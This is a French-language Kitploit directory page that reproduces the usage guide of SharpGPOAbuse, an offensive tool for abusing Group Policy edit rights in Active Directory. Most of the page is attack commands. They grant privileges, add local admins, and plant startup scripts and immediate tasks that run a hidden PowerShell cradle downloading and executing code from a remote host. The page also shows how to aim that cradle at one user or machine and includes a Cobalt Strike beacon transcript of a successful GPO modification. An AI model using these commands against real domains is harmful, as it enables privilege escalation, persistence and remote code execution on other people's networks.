Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
SharpGPOAbuse — SharpGPOAbuse est une application .NET écrite en C# qui peut être utilisée pour tirer parti des droits d'édition d'un utilisateur sur un objet de stratégie de groupe (GPO) afin de compromettre les objets contrôlés par ce GPO. | Kitploit
Outils/GitHubGitHub/reverseclabs/sharpgpoabuse
Escalade de PrivilègesMécanismes de PersistanceExploitationMouvement LatéralPost-ExploitationTests d'IntrusionRed Teaming
GitHubreverseclabs/sharpgpoabuse

SharpGPOAbuse

SharpGPOAbuse est une application .NET écrite en C# qui peut être utilisée pour tirer parti des droits d'édition d'un utilisateur sur un objet de stratégie de groupe (GPO) afin de compromettre les objets contrôlés par ce GPO.

Voir le dépôt
1.4k1556il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

SharpGPOAbuse

SharpGPOAbuse est une application .NET écrite en C# qui peut être utilisée pour exploiter les droits de modification d'un utilisateur sur un objet de stratégie de groupe (GPO) afin de compromettre les objets contrôlés par ce GPO.

Plus de détails sont disponibles dans l'article de blog suivant : https://labs.mwrinfosecurity.com/tools/sharpgpoabuse

Instructions de compilation

Assurez-vous que les paquets NuGet nécessaires sont correctement installés et compilez simplement le projet dans Visual Studio.

Utilisation

root@kitploit:~
Usage:
        SharpGPOAbuse.exe <AttackType> <AttackOptions>

Types d'attaques

SharpGPOAbuse prend actuellement en charge les options suivantes :

OptionDescription
--AddUserRightsAjouter des droits à un utilisateur
--AddLocalAdminAjouter un utilisateur au groupe des administrateurs locaux
--AddComputerScriptAjouter un nouveau script de démarrage d'ordinateur
--AddUserScriptConfigurer un script d'ouverture de session utilisateur
--AddComputerTaskConfigurer une tâche immédiate d'ordinateur
--AddUserTaskAjouter une tâche immédiate à un utilisateur

Options d'attaque

Ajout de droits utilisateur

root@kitploit:~
Options required to add new user rights:
--UserRights
        Set the new rights to add to a user. This option is case sensitive and a comma separeted list must be used.
--UserAccount
        Set the account to add the new rights.
--GPOName
        The name of the vulnerable GPO.
        
Example:
        SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"

Ajout d'un administrateur local

root@kitploit:~
Options required to add a new local admin:
--UserAccount
        Set the name of the account to be added in local admins.
--GPOName
        The name of the vulnerable GPO.

Example:
        SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"

Configuration d'un script de connexion pour utilisateur ou ordinateur

root@kitploit:~
Options required to add a new user or computer startup script:
--ScriptName
        Set the name of the new startup script.
--ScriptContents
        Set the contents of the new startup script.
--GPOName
        The name of the vulnerable GPO.

Example: 
        SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

Si vous souhaitez exécuter le script malveillant uniquement sur un utilisateur ou un ordinateur spécifique contrôlé par le GPO vulnérable, vous pouvez ajouter une condition if dans le script malveillant :

root@kitploit:~
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

Configuration d'une tâche immédiate pour ordinateur ou utilisateur

root@kitploit:~
Options required to add a new computer or user immediate task:

--TaskName
        Set the name of the new computer task.
--Author
        Set the author of the new task (use a DA account).
--Command
        Command to execute.
--Arguments
        Arguments passed to the command.
--GPOName
        The name of the vulnerable GPO.

Additional User Task Options:
--FilterEnabled
        Enable Target Filtering for user immediate tasks.
--TargetUsername
        The user to target. The malicious task will run only on the specified user. Should be in the format <DOMAIN>\<USERNAME>
--TargetUserSID
        The targeted user's SID.

Additional Computer Task Options:
--FilterEnabled
        Enable Target Filtering for computer immediate tasks.
--TargetDnsName
        The DNS name of the computer to target. The malicious task will run only on the specified host.
        
Example: 
        SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

Si vous souhaitez exécuter la tâche malveillante uniquement sur un utilisateur ou un ordinateur spécifique contrôlé par le GPO vulnérable, vous pouvez utiliser quelque chose de similaire à ce qui suit :

root@kitploit:~
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com

Options supplémentaires

OptionDescription
--DomainControllerDéfinir le contrôleur de domaine cible
--DomainDéfinir le domaine cible
--ForceÉcraser les fichiers existants si nécessaire

Exemple de sortie

root@kitploit:~
beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I
EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[+] host called home, sent: 171553 bytes
[+] received output:
[+] Domain = europa.com
[+] Domain Controller = EURODC01.europa.com
[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com
[+] GUID of "Default Server Policy" is: {877CB769-3543-40C6-A757-F2DF4E5E28BD}
[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!
Télécharger l’outil